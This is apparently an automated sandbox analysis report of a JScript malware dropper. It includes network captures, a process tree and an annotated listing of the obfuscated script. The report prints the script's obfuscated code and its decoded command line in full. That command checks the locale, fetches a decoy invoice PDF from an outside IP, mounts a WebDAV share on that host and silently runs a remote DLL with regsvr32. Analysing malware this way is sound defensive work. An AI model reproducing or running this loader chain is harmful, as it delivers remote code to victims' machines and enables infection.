Jan 10, 2025 18:22:58.883512974 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 18:22:58.883527040 CET	1236	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 10, 2025 18:22:58.883542061 CET	1112	IN	Data Raw: 9b 1b 81 37 1b 8f cd 90 6f ee b7 d6 83 b4 e1 9d d6 1f a8 ba d0 f8 33 31 14 c0 a6 ad 21 99 60 07 d5 1c 18 fa 38 3f 30 f4 a9 3d 30 f4 f1 fa fa e1 ea ea a1 dd 91 db c7 d0 63 15 43 f7 bb 18 1a f4 d0 0f a9 72 0e 1e fb f2 b0 bf 26 8c a1 77 f3 18 7a 99 Data Ascii: 7o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLIM=3Nad/7ZXkJ>U?HX*%;3s{^aZf\\|C\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	3496	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:23:00.704684973 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:23:01.473606110 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:23:01 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:22:49
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213045010931018335.js"
Imagebase:	0x7ff7c63a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:22:50
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll
Imagebase:	0x7ff657490000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:22:51
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:22:51
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:22:59
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	12:22:59
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff657490000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:22:59
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff686de0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:23:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	12:23:01
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x800000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:23:02
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2272 --field-trial-handle=1528,i,8268198196669219544,7547792718768048642,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ntvcp() {	ntvcp() ➔ undefined
1	pzssgoncr = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var tmlgidit = this[xejcopf + dmwurawx + npbwejwnn + nofnjtv + vrxzf + wmxtcl + dxkqyxzmr + fzizclr] ( this[bkhhkpasm + kkczzej + lymqvo + npbwejwnn + wgczf + xejcopf + fzizclr][tccioqhu + npbwejwnn + vrxzf + dmwurawx + fzizclr + vrxzf + wbistitwn + htqdqz + pwnmb + vrxzf + lymqvo + fzizclr] ( bkhhkpasm + kkczzej + lymqvo + npbwejwnn + wgczf + xejcopf + fzizclr + eoopwhc + kkczzej + bztcocg + vrxzf + knxjqvq + knxjqvq ) [wsobmkssx + vrxzf + tbsednl + wsobmkssx + vrxzf + dmwurawx + cdllmasmu] ( wexrgwvx + taaksf + lnkvxnuu + hlclcahoy + dqahpndiy + tccioqhu + quewn + wsobmkssx + wsobmkssx + lnkvxnuu + ajhkjyns + huezf + dqahpndiy + quewn + kkczzej + lnkvxnuu + wsobmkssx + trkcramab + tccioqhu + gyruzq + dxkqyxzmr + fzizclr + npbwejwnn + gyruzq + knxjqvq + zbzzbb + ogtlv + dmwurawx + dxkqyxzmr + vrxzf + knxjqvq + trkcramab + wmxtcl + dxkqyxzmr + fzizclr + vrxzf + npbwejwnn + dxkqyxzmr + dmwurawx + fzizclr + wgczf + gyruzq + dxkqyxzmr + dmwurawx + knxjqvq + trkcramab + bawozsumt + gyruzq + lymqvo + dmwurawx + knxjqvq + vrxzf ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xjlnxpyc = 0 ; xjlnxpyc < pzssgoncr[knxjqvq + vrxzf + dxkqyxzmr + tbsednl + fzizclr + bztcocg] ; ++ xjlnxpyc )
4	{
5	if ( tmlgidit == pzssgoncr[xjlnxpyc] )
6	{
7	tmlgidit = true;
8	break ;
9	}
10	}
11	if ( tmlgidit !== true )
12	this[bkhhkpasm + kkczzej + lymqvo + npbwejwnn + wgczf + xejcopf + fzizclr][cejdf + syfbrkv + wgczf + fzizclr] ( );
13	this[bkhhkpasm + kkczzej + lymqvo + npbwejwnn + wgczf + xejcopf + fzizclr][tccioqhu + npbwejwnn + vrxzf + dmwurawx + fzizclr + vrxzf + wbistitwn + htqdqz + pwnmb + vrxzf + lymqvo + fzizclr] ( bkhhkpasm + kkczzej + lymqvo + npbwejwnn + wgczf + xejcopf + fzizclr + eoopwhc + kkczzej + bztcocg + vrxzf + knxjqvq + knxjqvq ) [npbwejwnn + syfbrkv + dxkqyxzmr] ( lymqvo + wvckcrfs + cdllmasmu + zbzzbb + fvnoum + lymqvo + zbzzbb + xejcopf + gyruzq + abfjvelj + vrxzf + npbwejwnn + nofnjtv + bztcocg + vrxzf + knxjqvq + knxjqvq + eoopwhc + vrxzf + zoacxbg + vrxzf + zbzzbb + sttiylcd + tccioqhu + gyruzq + wvckcrfs + wvckcrfs + dmwurawx + dxkqyxzmr + cdllmasmu + zbzzbb + sjwzj + wmxtcl + dxkqyxzmr + zcnitpr + gyruzq + loyks + vrxzf + sttiylcd + bkhhkpasm + vrxzf + htqdqz + wsobmkssx + vrxzf + hgrpz + syfbrkv + vrxzf + nofnjtv + fzizclr + zbzzbb + sttiylcd + wbistitwn + syfbrkv + fzizclr + ipsoe + wgczf + knxjqvq + vrxzf + zbzzbb + emcdvlan + fzizclr + vrxzf + wvckcrfs + xejcopf + emcdvlan + trkcramab + wgczf + dxkqyxzmr + zcnitpr + gyruzq + wgczf + lymqvo + vrxzf + eoopwhc + xejcopf + cdllmasmu + tnswduhjf + zbzzbb + bztcocg + fzizclr + fzizclr + xejcopf + hgtnawq + fvnoum + fvnoum + qqrsahqy + mirvp + eoasgu + eoopwhc + qqrsahqy + bzjsnvgun + eoasgu + eoopwhc + qqrsahqy + eoopwhc + dheixfa + vzshdw + btqmvfq + fvnoum + wgczf + dxkqyxzmr + zcnitpr + gyruzq + wgczf + lymqvo + vrxzf + eoopwhc + xejcopf + bztcocg + xejcopf + sjwzj + csslozb + csslozb + nofnjtv + fzizclr + dmwurawx + npbwejwnn + fzizclr + zbzzbb + emcdvlan + fzizclr + vrxzf + wvckcrfs + xejcopf + emcdvlan + trkcramab + wgczf + dxkqyxzmr + zcnitpr + gyruzq + wgczf + lymqvo + vrxzf + eoopwhc + xejcopf + cdllmasmu + tnswduhjf + csslozb + csslozb + lymqvo + wvckcrfs + cdllmasmu + zbzzbb + fvnoum + lymqvo + zbzzbb + dxkqyxzmr + vrxzf + fzizclr + zbzzbb + syfbrkv + nofnjtv + vrxzf + zbzzbb + trkcramab + trkcramab + qqrsahqy + mirvp + eoasgu + eoopwhc + qqrsahqy + bzjsnvgun + eoasgu + eoopwhc + qqrsahqy + eoopwhc + dheixfa + vzshdw + btqmvfq + esridljhw + yvlkuvh + yvlkuvh + yvlkuvh + yvlkuvh + trkcramab + cdllmasmu + dmwurawx + zcnitpr + abfjvelj + abfjvelj + abfjvelj + npbwejwnn + gyruzq + gyruzq + fzizclr + trkcramab + csslozb + csslozb + lymqvo + wvckcrfs + cdllmasmu + zbzzbb + fvnoum + lymqvo + zbzzbb + npbwejwnn + vrxzf + tbsednl + nofnjtv + zcnitpr + npbwejwnn + eoasgu + dheixfa + zbzzbb + fvnoum + nofnjtv + zbzzbb + trkcramab + trkcramab + qqrsahqy + mirvp + eoasgu + eoopwhc + qqrsahqy + bzjsnvgun + eoasgu + eoopwhc + qqrsahqy + eoopwhc + dheixfa + vzshdw + btqmvfq + esridljhw + yvlkuvh + yvlkuvh + yvlkuvh + yvlkuvh + trkcramab + cdllmasmu + dmwurawx + zcnitpr + abfjvelj + abfjvelj + abfjvelj + npbwejwnn + gyruzq + gyruzq + fzizclr + trkcramab + qqrsahqy + eoasgu + mirvp + qqrsahqy + bzjsnvgun + eoasgu + btqmvfq + bzjsnvgun + yvlkuvh + eoasgu + mirvp + ajrxsp + btqmvfq + eoopwhc + cdllmasmu + knxjqvq + knxjqvq, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll",0,false) ➔ 0
14	}
15	bzjsnvgun = "v";
16	bzjsnvgun = "R";
17	bzjsnvgun = "k";
18	bzjsnvgun = "M";
19	bzjsnvgun = "L";
20	bzjsnvgun = "A";
21	bzjsnvgun = "e";
22	bzjsnvgun = "Y";
23	bzjsnvgun = "V";
24	bzjsnvgun = "t";
25	bzjsnvgun = "p";
26	bzjsnvgun = "a";
27	bzjsnvgun = "r";
28	bzjsnvgun = "x";
29	bzjsnvgun = "i";
30	bzjsnvgun = "b";
31	bzjsnvgun = "M";
32	bzjsnvgun = "n";
33	bzjsnvgun = "x";
34	bzjsnvgun = "u";
35	bzjsnvgun = "a";
36	bzjsnvgun = "4";
37	dxkqyxzmr = "U";
38	dxkqyxzmr = "l";
39	dxkqyxzmr = "s";
40	dxkqyxzmr = "y";
41	dxkqyxzmr = "n";
42	zbzzbb = "W";
43	zbzzbb = "N";
44	zbzzbb = "F";
45	zbzzbb = "u";
46	zbzzbb = "u";
47	zbzzbb = "P";
48	zbzzbb = "R";
49	zbzzbb = "q";
50	zbzzbb = "a";
51	zbzzbb = "h";
52	zbzzbb = "R";
53	zbzzbb = "z";
54	zbzzbb = "P";
55	zbzzbb = "H";
56	zbzzbb = "M";
57	zbzzbb = "F";
58	zbzzbb = "v";
59	zbzzbb = "f";
60	zbzzbb = "P";
61	zbzzbb = "I";
62	zbzzbb = "G";
63	zbzzbb = "B";
64	zbzzbb = "i";
65	zbzzbb = "Z";
66	zbzzbb = " ";
67	zoacxbg = "S";
68	zoacxbg = "v";
69	zoacxbg = "r";
70	zoacxbg = "u";
71	zoacxbg = "m";
72	zoacxbg = "F";
73	zoacxbg = "Y";
74	zoacxbg = "J";
75	zoacxbg = "Y";
76	zoacxbg = "E";
77	zoacxbg = "B";
78	zoacxbg = "G";
79	zoacxbg = "K";
80	zoacxbg = "J";
81	zoacxbg = "x";
82	zcnitpr = "g";
83	zcnitpr = "F";
84	zcnitpr = "j";
85	zcnitpr = "W";
86	zcnitpr = "v";
87	wsobmkssx = "S";
88	wsobmkssx = "y";
89	wsobmkssx = "J";
90	wsobmkssx = "t";
91	wsobmkssx = "T";
92	wsobmkssx = "h";
93	wsobmkssx = "L";
94	wsobmkssx = "K";
95	wsobmkssx = "M";
96	wsobmkssx = "f";
97	wsobmkssx = "P";
98	wsobmkssx = "Q";
99	wsobmkssx = "n";
100	wsobmkssx = "q";
101	wsobmkssx = "m";
102	wsobmkssx = "G";
103	wsobmkssx = "a";
104	wsobmkssx = "i";
105	wsobmkssx = "E";
106	wsobmkssx = "n";
107	wsobmkssx = "x";
108	wsobmkssx = "A";
109	wsobmkssx = "K";
110	wsobmkssx = "T";
111	wsobmkssx = "b";
112	wsobmkssx = "M";
113	wsobmkssx = "e";
114	wsobmkssx = "z";
115	wsobmkssx = "d";
116	wsobmkssx = "R";
117	tnswduhjf = "b";
118	tnswduhjf = "b";
119	tnswduhjf = "g";
120	tnswduhjf = "m";
121	tnswduhjf = "V";
122	tnswduhjf = "F";
123	tnswduhjf = "P";
124	tnswduhjf = "I";
125	tnswduhjf = "P";
126	tnswduhjf = "w";
127	tnswduhjf = "E";
128	tnswduhjf = "Q";
129	tnswduhjf = "k";
130	tnswduhjf = "a";
131	tnswduhjf = "i";
132	tnswduhjf = "A";
133	tnswduhjf = "R";
134	tnswduhjf = "P";
135	tnswduhjf = "q";
136	tnswduhjf = "u";
137	tnswduhjf = "t";
138	tnswduhjf = "O";
139	tnswduhjf = "Y";
140	tnswduhjf = "X";
141	tnswduhjf = "b";
142	tnswduhjf = "l";
143	tnswduhjf = "z";
144	tnswduhjf = "F";
145	tnswduhjf = "M";
146	tnswduhjf = "f";
147	bztcocg = "k";
148	bztcocg = "q";
149	bztcocg = "z";
150	bztcocg = "w";
151	bztcocg = "t";
152	bztcocg = "p";
153	bztcocg = "u";
154	bztcocg = "g";
155	bztcocg = "g";
156	bztcocg = "u";
157	bztcocg = "A";
158	bztcocg = "e";
159	bztcocg = "O";
160	bztcocg = "Q";
161	bztcocg = "U";
162	bztcocg = "W";
163	bztcocg = "F";
164	bztcocg = "M";
165	bztcocg = "v";
166	bztcocg = "H";
167	bztcocg = "R";
168	bztcocg = "X";
169	bztcocg = "h";
170	ogtlv = "w";
171	ogtlv = "f";
172	ogtlv = "U";
173	ogtlv = "L";
174	ogtlv = "u";
175	ogtlv = "i";
176	ogtlv = "v";
177	ogtlv = "w";
178	ogtlv = "z";
179	ogtlv = "A";
180	ogtlv = "V";
181	ogtlv = "w";
182	ogtlv = "S";
183	ogtlv = "Y";
184	ogtlv = "A";
185	ogtlv = "Y";
186	ogtlv = "U";
187	ogtlv = "g";
188	ogtlv = "x";
189	ogtlv = "p";
190	ogtlv = "E";
191	ogtlv = "O";
192	ogtlv = "d";
193	ogtlv = "U";
194	ogtlv = "z";
195	ogtlv = "Y";
196	ogtlv = "M";
197	ogtlv = "R";
198	ogtlv = "w";
199	ogtlv = "o";
200	ogtlv = "u";
201	ogtlv = "q";
202	ogtlv = "f";
203	ogtlv = "e";
204	ogtlv = "O";
205	ogtlv = "c";
206	ogtlv = "S";
207	ogtlv = "a";
208	ogtlv = "P";
209	lnkvxnuu = "F";
210	lnkvxnuu = "X";
211	lnkvxnuu = "r";
212	lnkvxnuu = "L";
213	lnkvxnuu = "V";
214	lnkvxnuu = "w";
215	lnkvxnuu = "K";
216	lnkvxnuu = "Y";
217	lnkvxnuu = "o";
218	lnkvxnuu = "k";
219	lnkvxnuu = "p";
220	lnkvxnuu = "O";
221	lnkvxnuu = "P";
222	lnkvxnuu = "l";
223	lnkvxnuu = "W";
224	lnkvxnuu = "o";
225	lnkvxnuu = "u";
226	lnkvxnuu = "u";
227	lnkvxnuu = "Q";
228	lnkvxnuu = "U";
229	lnkvxnuu = "i";
230	lnkvxnuu = "j";
231	lnkvxnuu = "c";
232	lnkvxnuu = "L";
233	lnkvxnuu = "v";
234	lnkvxnuu = "g";
235	lnkvxnuu = "j";
236	lnkvxnuu = "E";
237	wexrgwvx = "B";
238	wexrgwvx = "p";
239	wexrgwvx = "J";
240	wexrgwvx = "f";
241	wexrgwvx = "s";
242	wexrgwvx = "z";
243	wexrgwvx = "d";
244	wexrgwvx = "s";
245	wexrgwvx = "c";
246	wexrgwvx = "u";
247	wexrgwvx = "T";
248	wexrgwvx = "q";
249	wexrgwvx = "V";
250	wexrgwvx = "J";
251	wexrgwvx = "W";
252	wexrgwvx = "E";
253	wexrgwvx = "H";
254	mirvp = "Y";
255	mirvp = "e";
256	mirvp = "U";
257	mirvp = "D";
258	mirvp = "w";
259	mirvp = "J";
260	mirvp = "M";
261	mirvp = "k";
262	mirvp = "d";
263	mirvp = "S";
264	mirvp = "x";
265	mirvp = "f";
266	mirvp = "i";
267	mirvp = "t";
268	mirvp = "9";
269	dmwurawx = "P";
270	dmwurawx = "Z";
271	dmwurawx = "U";
272	dmwurawx = "G";
273	dmwurawx = "R";
274	dmwurawx = "e";
275	dmwurawx = "T";
276	dmwurawx = "g";
277	dmwurawx = "v";
278	dmwurawx = "L";
279	dmwurawx = "V";
280	dmwurawx = "N";
281	dmwurawx = "T";
282	dmwurawx = "h";
283	dmwurawx = "k";
284	dmwurawx = "N";
285	dmwurawx = "x";
286	dmwurawx = "I";
287	dmwurawx = "Z";
288	dmwurawx = "f";
289	dmwurawx = "k";
290	dmwurawx = "a";
291	sttiylcd = "l";
292	sttiylcd = "H";
293	sttiylcd = "E";
294	sttiylcd = "k";
295	sttiylcd = "f";
296	sttiylcd = "-";
297	eoasgu = "q";
298	eoasgu = "r";
299	eoasgu = "K";
300	eoasgu = "S";
301	eoasgu = "X";
302	eoasgu = "A";
303	eoasgu = "T";
304	eoasgu = "y";
305	eoasgu = "P";
306	eoasgu = "A";
307	eoasgu = "P";
308	eoasgu = "j";
309	eoasgu = "K";
310	eoasgu = "t";
311	eoasgu = "f";
312	eoasgu = "Q";
313	eoasgu = "P";
314	eoasgu = "f";
315	eoasgu = "M";
316	eoasgu = "V";
317	eoasgu = "l";
318	eoasgu = "V";
319	eoasgu = "q";
320	eoasgu = "v";
321	eoasgu = "W";
322	eoasgu = "3";
323	pwnmb = "J";
324	pwnmb = "p";
325	pwnmb = "p";
326	pwnmb = "c";
327	pwnmb = "c";
328	pwnmb = "L";
329	pwnmb = "N";
330	pwnmb = "A";
331	pwnmb = "p";
332	pwnmb = "x";
333	pwnmb = "O";
334	pwnmb = "x";
335	pwnmb = "c";
336	pwnmb = "d";
337	pwnmb = "S";
338	pwnmb = "V";
339	pwnmb = "k";
340	pwnmb = "o";
341	pwnmb = "J";
342	pwnmb = "N";
343	pwnmb = "B";
344	pwnmb = "r";
345	pwnmb = "G";
346	pwnmb = "c";
347	pwnmb = "D";
348	pwnmb = "d";
349	pwnmb = "J";
350	pwnmb = "j";
351	pwnmb = "v";
352	pwnmb = "V";
353	pwnmb = "j";
354	cdllmasmu = "V";
355	cdllmasmu = "W";
356	cdllmasmu = "m";
357	cdllmasmu = "t";
358	cdllmasmu = "H";
359	cdllmasmu = "Q";
360	cdllmasmu = "c";
361	cdllmasmu = "z";
362	cdllmasmu = "y";
363	cdllmasmu = "y";
364	cdllmasmu = "k";
365	cdllmasmu = "d";
366	abfjvelj = "D";
367	abfjvelj = "v";
368	abfjvelj = "Y";
369	abfjvelj = "k";
370	abfjvelj = "o";
371	abfjvelj = "x";
372	abfjvelj = "l";
373	abfjvelj = "N";
374	abfjvelj = "Z";
375	abfjvelj = "h";
376	abfjvelj = "v";
377	abfjvelj = "G";
378	abfjvelj = "U";
379	abfjvelj = "V";
380	abfjvelj = "C";
381	abfjvelj = "r";
382	abfjvelj = "K";
383	abfjvelj = "X";
384	abfjvelj = "b";
385	abfjvelj = "E";
386	abfjvelj = "y";
387	abfjvelj = "M";
388	abfjvelj = "B";
389	abfjvelj = "W";
390	abfjvelj = "x";
391	abfjvelj = "s";
392	abfjvelj = "u";
393	abfjvelj = "w";
394	gyruzq = "r";
395	gyruzq = "F";
396	gyruzq = "O";
397	gyruzq = "e";
398	gyruzq = "u";
399	gyruzq = "v";
400	gyruzq = "H";
401	gyruzq = "w";
402	gyruzq = "E";
403	gyruzq = "G";
404	gyruzq = "J";
405	gyruzq = "D";
406	gyruzq = "p";
407	gyruzq = "j";
408	gyruzq = "H";
409	gyruzq = "z";
410	gyruzq = "L";
411	gyruzq = "f";
412	gyruzq = "n";
413	gyruzq = "k";
414	gyruzq = "m";
415	gyruzq = "O";
416	gyruzq = "o";
417	ajrxsp = "c";
418	ajrxsp = "T";
419	ajrxsp = "D";
420	ajrxsp = "f";
421	ajrxsp = "G";
422	ajrxsp = "U";
423	ajrxsp = "F";
424	ajrxsp = "p";
425	ajrxsp = "k";
426	ajrxsp = "q";
427	ajrxsp = "t";
428	ajrxsp = "F";
429	ajrxsp = "S";
430	ajrxsp = "e";
431	ajrxsp = "r";
432	ajrxsp = "h";
433	ajrxsp = "A";
434	ajrxsp = "q";
435	ajrxsp = "Y";
436	ajrxsp = "g";
437	ajrxsp = "E";
438	ajrxsp = "A";
439	ajrxsp = "W";
440	ajrxsp = "O";
441	ajrxsp = "f";
442	ajrxsp = "N";
443	ajrxsp = "Q";
444	ajrxsp = "r";
445	ajrxsp = "T";
446	ajrxsp = "L";
447	ajrxsp = "I";
448	ajrxsp = "k";
449	ajrxsp = "s";
450	ajrxsp = "D";
451	ajrxsp = "7";
452	ajhkjyns = "j";
453	ajhkjyns = "T";
454	ajhkjyns = "x";
455	ajhkjyns = "L";
456	ajhkjyns = "N";
457	hgtnawq = "H";
458	hgtnawq = "D";
459	hgtnawq = "c";
460	hgtnawq = "c";
461	hgtnawq = "f";
462	hgtnawq = "K";
463	hgtnawq = "P";
464	hgtnawq = "L";
465	hgtnawq = "T";
466	hgtnawq = "d";
467	hgtnawq = ":";
468	hgrpz = "R";
469	hgrpz = "O";
470	hgrpz = "f";
471	hgrpz = "G";
472	hgrpz = "u";
473	hgrpz = "D";
474	hgrpz = "q";
475	taaksf = "T";
476	taaksf = "k";
477	taaksf = "F";
478	taaksf = "n";
479	taaksf = "p";
480	taaksf = "Q";
481	taaksf = "l";
482	taaksf = "b";
483	taaksf = "Y";
484	taaksf = "K";
485	bawozsumt = "J";
486	bawozsumt = "z";
487	bawozsumt = "g";
488	bawozsumt = "Y";
489	bawozsumt = "D";
490	bawozsumt = "K";
491	bawozsumt = "P";
492	bawozsumt = "S";
493	bawozsumt = "o";
494	bawozsumt = "G";
495	bawozsumt = "P";
496	bawozsumt = "V";
497	bawozsumt = "l";
498	bawozsumt = "X";
499	bawozsumt = "q";
500	bawozsumt = "L";
501	bawozsumt = "w";
502	bawozsumt = "V";
503	bawozsumt = "e";
504	bawozsumt = "S";
505	bawozsumt = "G";
506	bawozsumt = "j";
507	bawozsumt = "f";
508	bawozsumt = "h";
509	bawozsumt = "L";
510	trkcramab = "\\";
511	nofnjtv = "w";
512	nofnjtv = "R";
513	nofnjtv = "p";
514	nofnjtv = "b";
515	nofnjtv = "U";
516	nofnjtv = "c";
517	nofnjtv = "J";
518	nofnjtv = "w";
519	nofnjtv = "H";
520	nofnjtv = "B";
521	nofnjtv = "l";
522	nofnjtv = "k";
523	nofnjtv = "N";
524	nofnjtv = "N";
525	nofnjtv = "I";
526	nofnjtv = "q";
527	nofnjtv = "J";
528	nofnjtv = "W";
529	nofnjtv = "C";
530	nofnjtv = "X";
531	nofnjtv = "S";
532	nofnjtv = "O";
533	nofnjtv = "s";
534	vzshdw = "w";
535	vzshdw = "f";
536	vzshdw = "Q";
537	vzshdw = "A";
538	vzshdw = "Q";
539	vzshdw = "c";
540	vzshdw = "S";
541	vzshdw = "K";
542	vzshdw = "g";
543	vzshdw = "D";
544	vzshdw = "e";
545	vzshdw = "M";
546	vzshdw = "0";
547	sjwzj = "P";
548	sjwzj = "U";
549	sjwzj = "f";
550	sjwzj = "U";
551	sjwzj = "i";
552	sjwzj = "E";
553	sjwzj = "o";
554	sjwzj = "i";
555	sjwzj = "\"";
556	esridljhw = "Z";
557	esridljhw = "i";
558	esridljhw = "A";
559	esridljhw = "K";
560	esridljhw = "U";
561	esridljhw = "j";
562	esridljhw = "G";
563	esridljhw = "G";
564	esridljhw = "q";
565	esridljhw = "o";
566	esridljhw = "J";
567	esridljhw = "H";
568	esridljhw = "b";
569	esridljhw = "b";
570	esridljhw = "Y";
571	esridljhw = "i";
572	esridljhw = "J";
573	esridljhw = "N";
574	esridljhw = "V";
575	esridljhw = "Y";
576	esridljhw = "J";
577	esridljhw = "T";
578	esridljhw = "F";
579	esridljhw = "d";
580	esridljhw = "d";
581	esridljhw = "O";
582	esridljhw = "D";
583	esridljhw = "y";
584	esridljhw = "D";
